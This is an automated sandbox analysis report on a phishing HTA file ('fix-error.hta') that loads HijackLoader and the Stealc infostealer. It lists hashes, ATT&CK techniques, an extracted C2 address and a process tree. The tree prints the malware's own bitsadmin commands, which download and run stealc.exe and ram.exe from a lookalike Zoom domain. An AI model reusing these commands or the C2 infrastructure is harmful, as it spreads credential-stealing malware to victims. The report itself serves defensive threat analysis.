hijackloader | 92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138

General

Target

fix-error.hta
Size

74KB
MD5

acfba6ff2e80e0ebc80df9e7d326337c
SHA1

fe28d5756815fdac31a744a2f11c075f5b1892bc
SHA256

92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138
SHA512

2dcea669b4b3135bca6eba88542948188e25fb040db0a83bac03957b1fd59037998e7bb4a38774115ca051f07cbeacf99fd95113321e6c8fae4568a2e4e30f00
SSDEEP

768:BfaGWSO85ALmEcHUfkJ7Bate4LV1VZ6Y3PaNNHpXKMcpgUj:gGZALNcH77BajLbf61NR1pcbj

Score

10^/10

hijackloader stealc sneprivate29 google discovery dropper loader phishing stealer

Malware Config

Extracted

Family

stealc

Botnet

sneprivate29

C2

http://95.182.97.58

Attributes

url_path
/84b7b6f977dd1c65.php

Signatures

Detects HijackLoader (aka IDAT Loader) 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2328-21-0x0000000000400000-0x0000000000561000-memory.dmp	family_hijackloader

HijackLoader
HijackLoader is a multistage loader first seen in 2023.
loader hijackloader
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exe

flow pid process

5 1804 mshta.exe
7 1804 mshta.exe
9 1804 mshta.exe
11 1804 mshta.exe
15 1804 mshta.exe
Download via BitsAdmin 1 TTPs 2 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exebitsadmin.exe

pid process

2836 bitsadmin.exe
2856 bitsadmin.exe
Downloads MZ/PE file
Detected potential entity reuse from brand GOOGLE.
phishing google
Suspicious use of SetThreadContext 1 IoCs

Processes:

stealc.exe

description pid process target process

PID 2328 set thread context of 2940 2328 stealc.exe cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2000 1736 WerFault.exe explorer.exe

flow	pid	process
5	1804	mshta.exe
7	1804	mshta.exe
9	1804	mshta.exe
11	1804	mshta.exe
15	1804	mshta.exe

pid	process
2836	bitsadmin.exe
2856	bitsadmin.exe

description	pid	process	target process
PID 2328 set thread context of 2940	2328	stealc.exe	cmd.exe

pid	pid_target	process	target process
2000	1736	WerFault.exe	explorer.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

timeout.execmd.exebitsadmin.exetaskkill.exemshta.exebitsadmin.exetimeout.execmd.exestealc.exeexplorer.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stealc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	explorer.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2852 timeout.exe
1924 timeout.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1064 taskkill.exe
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 15 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

stealc.execmd.exeexplorer.exe

pid process

2328 stealc.exe
2328 stealc.exe
2940 cmd.exe
2940 cmd.exe
1736 explorer.exe
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

stealc.execmd.exe

pid process

2328 stealc.exe
2940 cmd.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

taskkill.exe

description pid process

Token: SeDebugPrivilege 1064 taskkill.exe

pid	process
2852	timeout.exe
1924	timeout.exe

pid	process
1064	taskkill.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

description	flow	ioc
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

pid	process
2328	stealc.exe
2328	stealc.exe
2940	cmd.exe
2940	cmd.exe
1736	explorer.exe

pid	process
2328	stealc.exe
2940	cmd.exe

description	pid	process
Token: SeDebugPrivilege	1064	taskkill.exe

Suspicious use of WriteProcessMemory 46 IoCs

Processes:

mshta.execmd.exestealc.execmd.exeexplorer.exe

description	pid	process	target process
PID 1804 wrote to memory of 2712	1804	mshta.exe	cmd.exe
PID 1804 wrote to memory of 2712	1804	mshta.exe	cmd.exe
PID 1804 wrote to memory of 2712	1804	mshta.exe	cmd.exe
PID 1804 wrote to memory of 2712	1804	mshta.exe	cmd.exe
PID 1804 wrote to memory of 2856	1804	mshta.exe	bitsadmin.exe
PID 1804 wrote to memory of 2856	1804	mshta.exe	bitsadmin.exe
PID 1804 wrote to memory of 2856	1804	mshta.exe	bitsadmin.exe
PID 1804 wrote to memory of 2856	1804	mshta.exe	bitsadmin.exe
PID 2712 wrote to memory of 2852	2712	cmd.exe	timeout.exe
PID 2712 wrote to memory of 2852	2712	cmd.exe	timeout.exe
PID 2712 wrote to memory of 2852	2712	cmd.exe	timeout.exe
PID 2712 wrote to memory of 2852	2712	cmd.exe	timeout.exe
PID 1804 wrote to memory of 2328	1804	mshta.exe	stealc.exe
PID 1804 wrote to memory of 2328	1804	mshta.exe	stealc.exe
PID 1804 wrote to memory of 2328	1804	mshta.exe	stealc.exe
PID 1804 wrote to memory of 2328	1804	mshta.exe	stealc.exe
PID 1804 wrote to memory of 2328	1804	mshta.exe	stealc.exe
PID 1804 wrote to memory of 2328	1804	mshta.exe	stealc.exe
PID 1804 wrote to memory of 2328	1804	mshta.exe	stealc.exe
PID 1804 wrote to memory of 1924	1804	mshta.exe	timeout.exe
PID 1804 wrote to memory of 1924	1804	mshta.exe	timeout.exe
PID 1804 wrote to memory of 1924	1804	mshta.exe	timeout.exe
PID 1804 wrote to memory of 1924	1804	mshta.exe	timeout.exe
PID 2328 wrote to memory of 2940	2328	stealc.exe	cmd.exe
PID 2328 wrote to memory of 2940	2328	stealc.exe	cmd.exe
PID 2328 wrote to memory of 2940	2328	stealc.exe	cmd.exe
PID 2328 wrote to memory of 2940	2328	stealc.exe	cmd.exe
PID 1804 wrote to memory of 2836	1804	mshta.exe	bitsadmin.exe
PID 1804 wrote to memory of 2836	1804	mshta.exe	bitsadmin.exe
PID 1804 wrote to memory of 2836	1804	mshta.exe	bitsadmin.exe
PID 1804 wrote to memory of 2836	1804	mshta.exe	bitsadmin.exe
PID 2712 wrote to memory of 1064	2712	cmd.exe	taskkill.exe
PID 2712 wrote to memory of 1064	2712	cmd.exe	taskkill.exe
PID 2712 wrote to memory of 1064	2712	cmd.exe	taskkill.exe
PID 2712 wrote to memory of 1064	2712	cmd.exe	taskkill.exe
PID 2328 wrote to memory of 2940	2328	stealc.exe	cmd.exe
PID 2940 wrote to memory of 1736	2940	cmd.exe	explorer.exe
PID 2940 wrote to memory of 1736	2940	cmd.exe	explorer.exe
PID 2940 wrote to memory of 1736	2940	cmd.exe	explorer.exe
PID 2940 wrote to memory of 1736	2940	cmd.exe	explorer.exe
PID 2940 wrote to memory of 1736	2940	cmd.exe	explorer.exe
PID 2940 wrote to memory of 1736	2940	cmd.exe	explorer.exe
PID 1736 wrote to memory of 2000	1736	explorer.exe	WerFault.exe
PID 1736 wrote to memory of 2000	1736	explorer.exe	WerFault.exe
PID 1736 wrote to memory of 2000	1736	explorer.exe	WerFault.exe
PID 1736 wrote to memory of 2000	1736	explorer.exe	WerFault.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta"
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1804

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 30 /nobreak > nul && taskkill /F /PID 1804
2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2712

C:\Windows\SysWOW64\timeout.exe
timeout /t 30 /nobreak
3⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:2852

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /PID 1804
3⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1064

C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer myDownloadJob /download /priority foreground https://us18web-zoom.us/stealc.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
2⤵
- Download via BitsAdmin
- System Location Discovery: System Language Discovery
PID:2856

C:\Users\Admin\AppData\Local\Temp\stealc.exe
"C:\Users\Admin\AppData\Local\Temp\stealc.exe"
2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2328

C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2940

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
4⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1736 -s 800
5⤵
- Program crash
PID:2000

C:\Windows\SysWOW64\timeout.exe
"C:\Windows\System32\timeout.exe" /T 2 /nobreak
2⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:1924

C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer secondDownloadJob /download /priority foreground https://us18web-zoom.us/ram.exe C:\Users\Admin\AppData\Local\Temp\ram.exe
2⤵
- Download via BitsAdmin
- System Location Discovery: System Language Discovery
PID:2836

C:\Users\Admin\AppData\Local\Temp\ram.exe
"C:\Users\Admin\AppData\Local\Temp\ram.exe"
2⤵
PID:1660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

1

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\M4TQDAHL\favicon[1].ico

Filesize
5KB

MD5
f3418a443e7d841097c714d69ec4bcb8

SHA1
49263695f6b0cdd72f45cf1b775e660fdc36c606

SHA256
6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770

SHA512
82d017c4b7ec8e0c46e8b75da0ca6a52fd8bce7fcf4e556cbdf16b49fc81be9953fe7e25a05f63ecd41c7272e8bb0a9fd9aedf0ac06cb6032330b096b3702563

Download Submit
C:\Users\Admin\AppData\Local\Temp\7729aedd

Filesize
1.0MB

MD5
6e55da6f9c2e2d5938113bee8a2a2169

SHA1
8c64d720f95c1427155aec990e536edde887dcc5

SHA256
3042740a5872ec6f403da4cb6639625a21b357d7aeb5e065e058bac021e00782

SHA512
6a04ca7b341731897e1745d953b136e9e2a3c70fe9186aab7416cbbfdefa6775323f68c9d975ef180bbde363e4c58d897f8f29c1e8119ba56a8a41a844b3e5fd

Download Submit
memory/1736-43-0x0000000000100000-0x0000000000363000-memory.dmp

Filesize
2.4MB

Download
memory/1736-53-0x0000000000100000-0x0000000000363000-memory.dmp

Filesize
2.4MB

Download
memory/1736-50-0x0000000000100000-0x0000000000363000-memory.dmp

Filesize
2.4MB

Download
memory/1736-49-0x0000000000100000-0x0000000000363000-memory.dmp

Filesize
2.4MB

Download
memory/1736-45-0x0000000000100000-0x0000000000363000-memory.dmp

Filesize
2.4MB

Download
memory/1736-44-0x0000000077460000-0x0000000077609000-memory.dmp

Filesize
1.7MB

Download
memory/2328-23-0x0000000077460000-0x0000000077609000-memory.dmp

Filesize
1.7MB

Download
memory/2328-37-0x0000000071980000-0x0000000071AF4000-memory.dmp

Filesize
1.5MB

Download
memory/2328-22-0x0000000071980000-0x0000000071AF4000-memory.dmp

Filesize
1.5MB

Download
memory/2328-21-0x0000000000400000-0x0000000000561000-memory.dmp

Filesize
1.4MB

Download
memory/2940-41-0x0000000071980000-0x0000000071AF4000-memory.dmp

Filesize
1.5MB

Download
memory/2940-40-0x0000000077460000-0x0000000077609000-memory.dmp

Filesize
1.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads